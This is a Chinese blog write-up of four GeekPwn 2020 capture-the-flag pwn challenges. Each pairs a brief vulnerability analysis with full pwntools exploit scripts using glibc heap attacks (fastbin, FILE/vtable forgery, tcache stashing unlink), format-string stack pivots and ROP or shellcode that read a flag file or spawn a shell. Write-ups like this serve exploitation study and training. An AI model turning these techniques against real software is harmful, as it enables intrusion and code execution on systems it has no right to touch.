2020_geekpwn

这次比赛质量蛮高的,我ttttcl。

感谢 我姐 为我讲解题 * - *

babypwn

分析

在 show 中,没有对idx进行详细的检查,存在数组负溢,可以泄露libc。

在 add 中,当 size=0 时,存在堆溢出。

题解

思路一

利用fastbin 在 main_arena 附近留下 0x21

然后申请到 main_arena 改 main_arena+88 为 stdin中的 _IO_buf_base - 0x10

然后申请 0x20 到 stdin的_IO_buf_base 改 _IO_buf_base为free_hook _IO_buf_base为free_hook+0x100

为撒是0x20 要看stdin结构体 read(_fileno,free_hook,size)

等于0x30 _fileno 没有置0 所以不行

0x40 是main_arena链表没清空 所以不行

然后利用scanf 改 free_hook 为 system

最后free(“/bin/sh”)….

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
context(log_level="debug")
p = process('./pwn') #env={'LD_PRELOAD':'./libc.so'}
libc = ELF('./libc-2.23.so')
#p = remote('183.60.136.226', 14943)
def add(name,size,desc):
p.recvuntil('choice')
p.sendline('1')
p.recvuntil('name:')
p.send(name)
p.recvuntil('size')
p.sendline(str(size))
p.recvuntil('Description:')
p.send(desc)

def dele(idx):
p.recvuntil('choice')
p.sendline('2')
p.recvuntil('index')
p.sendline(str(idx))

add('0\n',1,'\n')
add('1\n',0x40,'\n')
add('2\n',0x40,'\n')
add('3\n',0x40,'\n')

dele(0)
add('0\n',0,p64(0)*3+p64(0xa1)+'\n')
dele(1)
add('1\n',0x40,'\n')

p.recvuntil('choice')
p.sendline('3')
p.recvuntil('index')
p.sendline('1')
p.recvuntil('Description:')
addr = u64(p.recv(6).ljust(8,'\x00'))
print hex(addr)
libc_base = addr - (0x7f82c6dbcc08-0x7f82c69f8000)
print hex(libc_base)

add('4\n',0x40,'\n')
dele(2)
dele(3)
dele(4)

add('2\n',0x40,p64(0x21)+'\n')
add('3\n',0x40,p64(0x21)+'\n')
add('4\n',0x40,p64(0x21)+'\n')
add('5\n',0x1,'\n')

dele(5)
dele(0)
add('0\n',0,'/bin/sh\x00'+p64(0)*2+p64(0x51)+p64(0)*9+p64(0x51)+p64(0)*9+p64
(0x51)+p64(0)*9+p64(0x21)+p64(addr-0xd0)+'\n')

add('5\n',8,'/bin/sh')

hook = libc_base+libc.symbols['__free_hook']
one = libc_base+0xf02a4
sys = libc_base+libc.symbols['system']
buf_base = libc_base +(0x7f3243f3c918-0x7f3243b78000)
print hex(hook)
print "system = "+hex(sys)

add('6\n',0,p64(0)*6+p64(buf_base-0x10)+'\n')
add('7\n',0x20,p64(hook)+p64(hook+0x100)[:-1]+'\n')

p.recvuntil('choice')
p.sendline('2')
p.recvuntil('index')
p.sendline(p64(sys))

p.interactive()

思路二

首先有个unsorted bin 在 malloc_hokk-0x13+8 的位置 写上了一个main_arena +88

为了绕过后面的一个unsorted bin 的申请会反向寻找块的检测

然后就是利用0x56xxxx的偏移5个字节把0x56当作chunk头的size 把main_arena那部分申请下来

然后就能把main_rena +104那里的两个指针 即unsoted bin的arena地址改成malloc_hook-0x23

这两个指针就是unsorted bin的链表头的fd和bk 而unsorted bin 会从这个bk 位置反向切割块

之后申请unsorted bin就能把malloc_hook-0x13申请下来

而申请unsorted bin 会对next chunk的presize和size进行检测

所以我们还需要利用 fastbin attack 的一个小技巧(fastbin chunk 申请下来后 他的fd 会留在链表头那里)

把main_arena 上面留下一个0x51的值 之后就是再利用 fastbin attack 把这个伪造好size的chunk申请下来

从而可以控制到 malloc_hook-0x23 + 0x78 即nextchunk的size和presize

申请 就能把malloc_hook-0x13申请下来 改malloc_hook 为one_gadget (需要realloc调整)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import*
#context(log_level="debug")
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')

def add(name,size,content):
p.sendlineafter("choice:","1")
p.sendlineafter("name:",name)
p.sendlineafter("size:",str(size))
p.sendlineafter(":",content)

def delete(index):
p.sendlineafter("choice:","2")
p.sendlineafter(":",str(index))

def show(index):
p.sendlineafter("choice:","3")
p.sendlineafter(":",str(index))

show(-5)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = leak - 0x3c5710

print "libc_base = "+hex(libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + 0x846c0
print "realloc = "+hex(realloc)

one = [0x45216,0x4526a,0xf02a4,0xf1147]

add("aaaa",0,"0000") #0
add("aaaa",0x40,"1111") #1
add("aaaa",0x30,"2222") #2
add("aaaa",0x40,"3333") #3
add("aaaa",0x10,"4444") #4

delete(1)
delete(0)
add("bbbb",0,'\x00'*0x10 + p64(0) + p64(0x51) + p64(libc_base + 0x3C4B75) + '\x00'*0x40 + p64(0x91))

delete(2)
delete(0)

add("cccc",0,'\x00'*0x10 + p64(0) + p64(0x51) + p64(libc_base + 0x3C4B75) + '\x00'*0x40 + p64(0x41) + p64(malloc_hook- 0x23 + 8)*2)

add("aaaa",0x30,"2222")
add("aaaa",0x40,"2222")
add("aaaa",0x40,'\x00'*3 + p64(malloc_hook- 0x23)*2)

delete(0)
delete(1)
delete(2)
add("aaaa",0,'\x00'*0x10 + p64(0) + p64(0x51) + p64(libc_base + 0x3C4B30) + '\x00'*0x40 + p64(0x41) + p64(0x51))

add("aaaa",0x30,"5555")
add("aaaa",0x40,"5555")
add("aaaa",0x40,'\x00'*37 + p64(0x78) + p64(0x21))
add("aaaa",0x40,'\x00'*(0x13-8)+ p64(one[1]+libc_base) + p64(realloc+16))

p.sendlineafter("choice:","1")
p.sendlineafter("name:","aaaa")
p.sendlineafter("size:","20")

p.interactive()

思路三

利用 fastbin attack 在 main_arena 附近留下 0x41

然后申请到mian_arena附近 把 main_arena+88 改成 _IO_list_all 前面

在 heap上进行 伪造FILE 和 vtable

申请到 IO_list_all 改成 heap地址

进行exit 调用

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
#context(log_level="debug")
p = process('./pwn') #env={'LD_PRELOAD':'./libc.so'}
libc = ELF('./libc-2.23.so')
#p = remote("110.80.136.44",14823)

def add(size, name, content):
p.sendlineafter("Input your choice:", '1')
p.sendlineafter("Member name:", name)
p.sendlineafter("Description size:", str(size))
p.sendlineafter("Description:", content)

def show(idx):
p.sendlineafter("Input your choice:", '3')
p.sendlineafter("index:", str(idx))

def free(idx):
p.sendlineafter("Input your choice:", '2')
p.sendlineafter("index:", str(idx))

show(-5)
p.recvuntil("The name:")
libc.address = u64(p.recv(6)+'\x00'*2)-0x3c5710
log.info("libc.address ==> " + hex(libc.address))

add(0,'a','a')
add(0,'a','a')
free(0)
free(1)
add(0,'a','\x20')

show(0)
p.recvuntil("The Description:")
heap = u64(p.recv(6)+'\x00'*2)-0x20
log.info("heap ==> " + hex(heap))

add(0x40,'a','a')
add(0x30,'a','a')
free(0)
free(1)
free(2)

main_arena = libc.address + 0x3c4b20
add(0,'a','\x00'*0x18+p64(0x51)+p64(0x41)+'\x00'*0x40+p64(0x41)+p64(main_arena+24))
add(0x40,'a','a')
add(0x30,'a','a')

target = libc.address + 0x3c5500
add(0x38,'a','\x00'*0x30+p64(target-8))#3

add(0,'a','/bin/sh\x00'+p64(0)*3+p64(0)+p64(1)+'a'*144+p64(0)+'a'*0x10+p64(heap+0xf0)+p64(libc.sym['system'])*10)#4
add(0,'a',p64(0)*3+p64(heap+0x10))#5

p.sendlineafter("Input your choice:", '4')
p.interactive()

paperprinter

分析

题目一开始 给了sleep 的 1.5个字节

edit 没有限制 ,可以随意布局

free 存在UAF

Print paper 中存在一个malloc(0x138)

题解

思路

先布局,最后free一个比较大的chunk

然后利用 malloc(0x138) 把unortbin 中的chunk 放入smallbin

主要是为了 保存libc的地址

由于没有全部的libc 所以需要爆破。。。

为了布局 vtable 中overflow为 system

然后把一个chunk free掉,把size改成 0x61

image-20200717122334827

然后调用 ”选项4“ 里面调用了 strdup 函数

strdup 中 存在malloc调用

实现 unsortbin attack 改 _IO_list_all 为 main_arena+88

将chunk 放入smallbin

根据 chain链的索引 会搜寻 0x60 chunk 实现了 伪造FILE

实现shell。。。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
#context.log_level = 'debug'

p = process('./pwn')
libc = ELF("./libc-2.23.so")

def edit(offset, size, content):
p.sendlineafter("Input your choice:", '1')
p.sendlineafter("Input the offset :", str(offset))
p.sendlineafter("Input the length :", str(size))
p.sendlineafter("Input the content :", content)
def free(offset):
p.sendlineafter("Input your choice:", '2')
p.sendlineafter("Input the offset :", str(offset))
def show():
p.sendlineafter("Input your choice:", '3')

p.recvuntil("0x")
sleep = int(p.recv(3), 16)
byte = (sleep<<8)+0xa00000
print hex(byte)

edit(0x400, 0x200, p64(0)+p64(0x141)+'a'*0x60+'\x00'*(0x130-0x60)+p64(0)+p64(0x21)+'\x00'*0x10+p64(0)+p64(0x21))
edit(0, 0x100, p64(0)+p64(0x91)+'\x00'*0x80+(p64(0)+p64(0x21))*3)
edit(0xc0, 0x200, p64(0)+p64(0x91)+p64(0)*2+p64(0)+p64(0x91)+'\x00'*0x30+(p64(0)+p64(0x21))*8)

free(0xd0)
free(0xf0)
free(0x410)
show()

edit(0xf8, 3, p64(byte-0x86e60-0x10))
free(0x10)
edit(0x18, 3, p64(byte+0x2f9310))

edit(0, 17, '/bin/sh\x00'+p64(0x61))
edit(0x20, 17, p64(2)+p64(3))

p.sendline("4")
p.interactive()

playthenew

分析

这里我结合IDA 与cutter 分析的

add里面 调用了 calloc 分配 size大小在[0x80,0x200]

calloc 会清空数据 而且不会取 tcache 中的chunk

free 中 没有清空指针 存在UAF

在 ”选项5“ 中 绕过判断后 可以布局

在“选项666” 中 绕过判断后 可以利用“选项5的布局”来进行相关操作

image-20200717131139456

里面的参数 都能利用“选项5” 控制

题解

思路

由于 版本是在2.30的 unsortbin attack 基本上废了

我们有需要改变 一个地址的值 来绕过判断

这里运用了 Tcache Stashing Unlink Attack

我们需要制造2个smallbin

利用chunk2 的 fd -> chunk1 bk -> (目标地址-0x10)

使目标地址 改为main_arena

参考链接 https://www.anquanke.com/post/id/198173#h3-16

在 “选项666” 中我们可以调用我们想用的函数 或者代码段。

在 “选项5” 中 为666 布局。

方法一

利用printf 造成格式化漏洞

改ebp为我们布局的位置 返回地址为 leave_ret

实现栈迁移 来进行orw

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from pwn import*
#context.log_level ='DEBUG'
p = process('./pwn')
libc =ELF('./libc.so')

def menu(ch):
p.sendlineafter("> ",str(ch))

def new(index,size,content):
menu(1)
p.sendlineafter("index:",str(index))
p.sendlineafter("basketball",str(size))
p.sendafter("name:",content)

def free(index):
menu(2)
p.sendlineafter("basketball:",str(index))

def show(index):
menu(3)
p.sendlineafter("basketball:",str(index))

def edit(index,content):
menu(4)
p.sendlineafter("basketball:",str(index))
p.sendafter("the basketball:",content)

new(0,0x200,'aaaa')
new(1,0x200,'aaaa')
new(2,0x200,'aaaa')
new(3,0xF0,'aaaa')

for i in range(6):
free(0)
edit(0,'\x00'*0x10)
for i in range(6):
free(3)
edit(3,'\x00'*0x10)

free(0)
show(0)
p.recvuntil('Show the dance:')
heap_base = u64(p.recv(6).ljust(8,'\x00'))-0x2A0
print "heap_base = "+hex(heap_base)

edit(0,'\x00'*0x10)
free(0)
show(0)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-0x70-libc.sym['__malloc_hook']
print "libc_base = "+hex(libc_base)

new(1,0x100,'bbbb')
free(2)
new(3,0x100,'bbbb')
new(3,0x200,'bbbb')

edit(2,'\x00'*0x100+p64(0)+p64(0x101)+p64(heap_base+0x3A0)+p64(0x100000-0x10))

printf = libc_base + libc.sym['printf']

new(1,0xF0,'aaaa')

menu(5)
payload = p64(0)+p64(printf)+p64(0x100000+0x20)+"Stack:%8$p PIE:%9$p"
p.sendlineafter("place:",payload)
menu(0x666)

p.recvuntil("Stack:")
stack = int(p.recv(14),16) - 0x20
p.recvuntil('PIE:')
pie = int(p.recv(14),16) - 0x1971
print "stack = "+hex(stack)
print "pie = "+hex(pie)

pop_rdi_ret = pie + 0x2143
pop_rsi_ret = libc_base + 0x2709C
pop_rdx_rbx = libc_base + 0x162DC6
pop_rax_ret = libc_base + 0x28FF4
libc.address = libc_base

menu(5)
payload = p64(0)+p64(printf)+p64(0x100000+0x20)+"%"+str(stack&0xFFFF)+"c%15$hn"+"%2c%29$hn"
payload = payload.ljust(0x40,'\x00')
p.sendlineafter("place:",payload)
menu(0x666)

menu(5)
payload = p64(0)+p64(printf)+p64(0x100000+0x20)+"%16c%43$n"+"%48c%41$hn"
payload = payload.ljust(0x40,'\x00')
p.sendlineafter("place:",payload)
menu(0x666)

menu(5)
payload = p64(0)+p64(printf)+p64(0x100000+0x20)+"%"+str((stack+8)&0xFFFF)+"c%15$hn"+"%2c%29$hn"
payload = payload.ljust(0x40,'\x00')
p.sendlineafter("place:",payload)
menu(0x666)

menu(5)
payload = p64(0)+p64(printf)+p64(0x100000+0x20)+"%"+str((pie+0x1401)&0xFFFF)+"c%41$hn\x00"
payload = payload.ljust(0x40,'\x00')
payload += p64(pop_rdi_ret)+p64(0x100000+0x100)+p64(pop_rsi_ret)+p64(0)+p64(pop_rax_ret)+p64(2)+p64(libc.sym['syscall'] + 27)
payload += p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(0x100000+0x120)+p64(pop_rdx_rbx)+p64(0x30)*2+p64(libc.sym['read'])
payload += p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(0x100000+0x120)+p64(pop_rdx_rbx)+p64(0x30)*2 +p64(libc.sym['write'])
payload = payload.ljust(0xF8,'\x00')
payload += './flag\x00'

p.sendlineafter("place:",payload)
menu(0x666)

p.interactive()

方法二

利用 printf 造成格式化漏洞

改指针指向返回地址(跳板)

利用 scanf 往返回地址写入 orw

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import*
#context.log_level ='DEBUG'
p = process('./pwn')
libc =ELF('./libc.so')

def menu(ch):
p.sendlineafter("> ",str(ch))

def new(index,size,content):
menu(1)
p.sendlineafter("index:",str(index))
p.sendlineafter("basketball",str(size))
p.sendafter("name:",content)

def free(index):
menu(2)
p.sendlineafter("basketball:",str(index))

def show(index):
menu(3)
p.sendlineafter("basketball:",str(index))

def edit(index,content):
menu(4)
p.sendlineafter("basketball:",str(index))
p.sendafter("the basketball:",content)

new(0,0x200,'aaaa')
new(1,0x200,'aaaa')
new(2,0x200,'aaaa')
new(3,0xF0,'aaaa')

for i in range(6):
free(0)
edit(0,'\x00'*0x10)
for i in range(6):
free(3)
edit(3,'\x00'*0x10)

free(0)
show(0)
p.recvuntil('Show the dance:')
heap_base = u64(p.recv(6).ljust(8,'\x00'))-0x2A0
print "heap_base = "+hex(heap_base)

edit(0,'\x00'*0x10)
free(0)
show(0)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-0x70-libc.sym['__malloc_hook']
print "libc_base = "+hex(libc_base)

new(1,0x100,'bbbb')
free(2)
new(3,0x100,'bbbb')
new(3,0x200,'bbbb')

edit(2,'\x00'*0x100+p64(0)+p64(0x101)+p64(heap_base+0x3A0)+p64(0x100000-0x10))

printf = libc_base + libc.sym['printf']
scanf = libc_base + libc.sym['scanf']

new(1,0xF0,'aaaa')

menu(5)
payload = p64(0)+p64(printf)+p64(0x100000+0x20)+"Stack:%8$p PIE:%9$p"
p.sendlineafter("place:",payload)
menu(0x666)

p.recvuntil("Stack:")
stack = int(p.recv(14),16) - 0x20
p.recvuntil('PIE:')
pie = int(p.recv(14),16) - 0x1971
print "stack = "+hex(stack)
print "pie = "+hex(pie)

ret_addr = stack + 8
pop_rdi_ret = pie + 0x2143
pop_rsi_ret = libc_base + 0x2709C
pop_rdx_rbx = libc_base + 0x162DC6
pop_rax_ret = libc_base + 0x28FF4
libc.address = libc_base

menu(5)
payload = p64(0) + p64(printf) + p64(0x100000 + 0x20) + "%" + str(ret_addr&0xFFFF) + "c%15$hn"
payload = payload.ljust(0x40,'\x00')
p.sendlineafter("place:",payload)
menu(0x666)

menu(5)
payload = p64(0) + p64(scanf) + p64(0x100000 + 0x20) + "%41$s"
payload = payload.ljust(0x40,'\x00')
payload += './flag\x00\x00'
p.sendlineafter("place:",payload)
menu(0x666)

payload = p64(pop_rdi_ret)+p64(0x100000+0x48)+p64(pop_rsi_ret)+p64(0)+p64(pop_rax_ret)+p64(2)+p64(libc.sym['syscall']+27)
payload += p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(0x100000+0x100)+p64(pop_rdx_rbx)+p64(0x30)*2+p64(libc.sym['read'])
payload += p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(0x100000+0x100)+p64(pop_rdx_rbx)+p64(0x30)*2+p64(libc.sym['write'])
p.sendline(payload)

p.interactive()

方法三

我们利用 mov rdx,[rdi+8] 改rdx的值

然后 利用 setcontext 中对esp等等的赋值

esp是[rdx+0xa0] ,我们改变esp指向我们orw 即可

在 setcontext 中有个push rcx 的操作 所以我们需要 加个ret

最终实现orw

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import*
#context.log_level ='DEBUG'
p = process('./pwn')
libc =ELF('./libc.so')

def menu(ch):
p.sendlineafter("> ",str(ch))

def new(index,size,content):
menu(1)
p.sendlineafter("index:",str(index))
p.sendlineafter("basketball",str(size))
p.sendafter("name:",content)

def free(index):
menu(2)
p.sendlineafter("basketball:",str(index))

def show(index):
menu(3)
p.sendlineafter("basketball:",str(index))

def edit(index,content):
menu(4)
p.sendlineafter("basketball:",str(index))
p.sendafter("the basketball:",content)

new(0,0x200,'aaaa')
new(1,0x200,'aaaa')
new(2,0x200,'aaaa')
new(3,0xF0,'aaaa')
for i in range(6):
free(0)
edit(0,'\x00'*0x10)
for i in range(6):
free(3)
edit(3,'\x00'*0x10)

free(0)
show(0)
p.recvuntil('Show the dance:')
heap_base = u64(p.recv(6).ljust(8,'\x00'))-0x2A0
print "heap_base = "+hex(heap_base)

edit(0,'\x00'*0x10)
free(0)
show(0)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-0x70-libc.sym['__malloc_hook']
print "libc_base = "+hex(libc_base)

new(1,0x100,'bbbb')
free(2)
new(3,0x100,'bbbb')
new(3,0x200,'bbbb')

edit(2,'\x00'*0x100+p64(0)+p64(0x101)+p64(heap_base+0x3A0)+p64(0x100000-0x10))

printf = libc_base + libc.sym['printf']

new(1,0xF0,'aaaa')

libc.address = libc_base
setcontext = libc.sym['setcontext'] + 61
magic_gadget = libc_base + 0x00154B90
pop_rdi_ret = libc_base + 0x26BB2
pop_rsi_ret = libc_base + 0x2709C
pop_rdx_rbx = libc_base + 0x162DC6
pop_rax_ret = libc_base + 0x28FF4
ret = libc_base + 0x0256B9

orw_rop = p64(pop_rdi_ret) + p64(0x100000 + 0x30)
orw_rop += p64(pop_rsi_ret) + p64(0)
orw_rop += p64(pop_rax_ret) + p64(2)
orw_rop += p64(libc.sym['syscall'] + 27)
orw_rop += p64(pop_rdi_ret) + p64(3)
orw_rop += p64(pop_rsi_ret) + p64(0x100000+0x40)
orw_rop += p64(pop_rdx_rbx) + p64(0x30)*2
orw_rop += p64(libc.sym['read'])
orw_rop += p64(pop_rdi_ret) + p64(0x100000+0x40)
orw_rop += p64(libc.sym['puts'])

payload = p64(0)+p64(magic_gadget)+p64(0x100000+0x18)+p64(0x100000+8)+p64(setcontext)
payload += './flag\x00\x00' + p64(0)
payload = payload.ljust(0xA0,'\x00')
payload += p64(0x100000 + 0xB8)
payload += p64(ret)
payload += orw_rop

menu(5)
p.sendlineafter("place:",payload)
menu(0x666)

p.interactive()

easyshell

分析

是一个静态编译的题目

存在格式化漏洞。

题解

这题 与DASCTF5月 taqini师傅出的 Memory Monster II 和 Memory Monster III 类似

只是 这是格式化实现任意地址改。

思路一致 这就不解释了

贴一个师傅的wp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#from PwnContext import *
from pwn import *
#context.terminal = ['tmux', 'splitw', '-h']

s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

context(log_level = "debug",arch="amd64")
ctx = process('./pwn')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
debug_remote_libc = False

#0x400dfc-->0x6D6828
#0x4014a4-->0x6ed0c8
#0x6ef188-->0x6ed0d0
#0x448F5A-->0x6ed0d8
#0x400dfc-->0x6ed0e8
offset=21
payload="%"+str(0x40)+"c%"+str(offset+1)+"$hn%"+str(offset+3)+"$hhn%"+str(offset+9)+"$hhn"+"%"+str(0x44-0x40)+"c%"+str(offset+7)+"$n"+"%"+str(0x6e-0x44)+"c%"+str(offset+5)+"$hhn"
payload+="%"+str(0xdfc-0x40-46)+"c%"+str(offset)+"$hn%"+str(offset+8)+"$hn"+"%"+str(0x14a4-0xdfc)+"c%"+str(offset+2)+"$hn"+"%"+str(0x8F5A-0x14a4)+"c%"+str(offset+6)+"$hn"+"%"+str(0xf188-0x8F5A)+"c%"+str(offset+4)+"$hn"
payload=payload.ljust(13*8,"a")+p64(0x6D6828)+p64(0x6D682a)+p64(0x6ed0c8)+p64(0x6ed0ca)+p64(0x6ed0d0)+p64(0x6ed0d2)+p64(0x6ed0d8)+p64(0x6ed0da)+p64(0x6ed0e8)+p64(0x6ed0ea)
#print hex(len(payload))
sla("echo back.\n",payload)
poprdi=0x0000000000401f0a
poprsi=0x00000000004014a4
poprdx=0x000000000044c476
open_addr=0x448ED9
read_addr=0x0448F39
write_addr=0x448F99
flag_str=0x6ef248
flag_addr=0x6ef000
mprotect_add=0x0449B30
payload=p64(poprdi)+p64(flag_addr)+p64(poprsi)+p64(0x100)+p64(poprdx)+p64(7)+p64(mprotect_add)
payload+=p64(poprdi)+p64(0)+p64(poprsi)+p64(flag_addr)+p64(poprdx)+p64(0x100)+p64(read_addr)+p64(flag_addr)
shellcode = ""
shellcode += shellcraft.open("./flag")
shellcode += shellcraft.read('rax', 'rsp', 0x50)
shellcode += shellcraft.write(1, 'rsp', 0x50)
sla("aaa",payload)

s(asm(shellcode))
irt()
Reward
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.
  • © 2015-2021 John Doe
  • Powered by Hexo Theme Ayer
  • PV: UV:

请我喝杯咖啡吧~

支付宝
微信